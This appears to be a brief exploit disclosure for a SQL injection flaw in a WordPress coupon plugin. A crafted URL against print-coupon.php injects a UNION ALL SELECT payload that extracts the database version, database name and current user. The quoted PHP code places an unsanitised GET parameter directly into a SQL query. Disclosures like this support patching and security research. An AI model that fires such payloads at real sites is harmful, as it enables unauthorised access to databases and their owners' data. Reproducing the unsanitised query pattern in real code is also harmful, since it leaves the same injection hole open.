http://www.xxxx.com/wp-content/plugins/couponer/print-coupon.php?ID=-1' UNION ALL SELECT 1,version(),database(),current_user(),5,6,7,8,9,10--%20

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Vulnerable code
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$ID = $_GET['ID'];
...
$sql_get_coupon_id = "SELECT *, DATE_FORMAT(Expires, '%b %e, %Y') as Expires, DATE_FORMAT(Created, '%b %e, %Y') as Created FROM wp_couponer WHERE ID='$ID'";
$result_get_coupon_id = mysql_query($sql_get_coupon_id);